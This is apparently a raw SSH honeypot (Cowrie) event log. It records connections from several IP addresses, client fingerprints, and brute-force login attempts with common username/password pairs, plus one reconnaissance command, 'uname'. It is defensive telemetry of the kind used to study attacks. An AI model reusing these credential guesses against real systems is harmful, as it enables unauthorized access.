\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 V\\xb5\\xc0\\xe5\\xadX\\x8c\\x9fl\\x15\\xdd;\\xa3s\\xcf\\xe4\\\\p\\xf6:x\\x08\\x0f~d\\x98\\xcb\\xc0\\xd3\\x9e&'\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.377743Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123","message":"login attempt [root/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.418820Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.885781Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:04.888809Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:05.016062Z","src_ip":"77.90.185.17","session":"ed37d8c5f4e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:05.109672Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:05.115253Z","src_ip":"101.44.96.62","session":"313c4f4e7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":60260,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecac08606583","protocol":"ssh","message":"New connection: 101.44.96.62:60260 (159.203.135.109:22) [session: ecac08606583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:17.020307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:17.024825Z","src_ip":"101.44.96.62","session":"ecac08606583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:17.241843Z","src_ip":"101.44.96.62","session":"ecac08606583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:17.895145Z","src_ip":"101.44.96.62","session":"ecac08606583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:19.115158Z","src_ip":"101.44.96.62","session":"ecac08606583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":48667,"dst_ip":"159.203.135.109","dst_port":22,"session":"9edb37219b6c","protocol":"ssh","message":"New connection: 2.57.121.25:48667 (159.203.135.109:22) [session: 9edb37219b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:28.822852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:28.827478Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:28.931267Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mjolnir","message":"login attempt [user/mjolnir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:29.418710Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"milamber","message":"login attempt [user/milamber] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:30.524964Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":49440,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5398b5d60c6","protocol":"ssh","message":"New connection: 101.44.96.62:49440 (159.203.135.109:22) [session: b5398b5d60c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:30.534549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:30.538464Z","src_ip":"101.44.96.62","session":"b5398b5d60c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:30.755733Z","src_ip":"101.44.96.62","session":"b5398b5d60c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:31.405589Z","src_ip":"101.44.96.62","session":"b5398b5d60c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mike12","message":"login attempt [user/mike12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:31.630871Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:32.625137Z","src_ip":"101.44.96.62","session":"b5398b5d60c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"message","message":"login attempt [user/message] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:32.738979Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"memories","message":"login attempt [user/memories] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:33.845570Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:34.952005Z","src_ip":"2.57.121.25","session":"9edb37219b6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"560d473dbcaf","protocol":"ssh","message":"New connection: 101.44.96.62:46986 (159.203.135.109:22) [session: 560d473dbcaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:44.022824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:44.027232Z","src_ip":"101.44.96.62","session":"560d473dbcaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:44.241667Z","src_ip":"101.44.96.62","session":"560d473dbcaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:44.884315Z","src_ip":"101.44.96.62","session":"560d473dbcaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:46.101534Z","src_ip":"101.44.96.62","session":"560d473dbcaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":54470,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d2f7211fcd8","protocol":"ssh","message":"New connection: 195.178.110.218:54470 (159.203.135.109:22) [session: 7d2f7211fcd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:56.724795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:56.729783Z","src_ip":"195.178.110.218","session":"7d2f7211fcd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:56.804094Z","src_ip":"195.178.110.218","session":"7d2f7211fcd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:57.027746Z","src_ip":"195.178.110.218","session":"7d2f7211fcd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56382,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2061934b455","protocol":"ssh","message":"New connection: 101.44.96.62:56382 (159.203.135.109:22) [session: b2061934b455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:57.583369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:57.592619Z","src_ip":"101.44.96.62","session":"b2061934b455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:57.802824Z","src_ip":"101.44.96.62","session":"b2061934b455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:58.105217Z","src_ip":"195.178.110.218","session":"7d2f7211fcd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:58.662292Z","src_ip":"101.44.96.62","session":"b2061934b455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:59:59.882621Z","src_ip":"101.44.96.62","session":"b2061934b455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":38734,"dst_ip":"159.203.135.109","dst_port":22,"session":"904606a1feae","protocol":"ssh","message":"New connection: 101.44.96.62:38734 (159.203.135.109:22) [session: 904606a1feae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:11.032505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:11.036886Z","src_ip":"101.44.96.62","session":"904606a1feae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:11.256416Z","src_ip":"101.44.96.62","session":"904606a1feae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elsearch","password":"123456","message":"login attempt [elsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:00:11.910835Z","src_ip":"101.44.96.62","session":"904606a1feae","protocol":"ssh"}
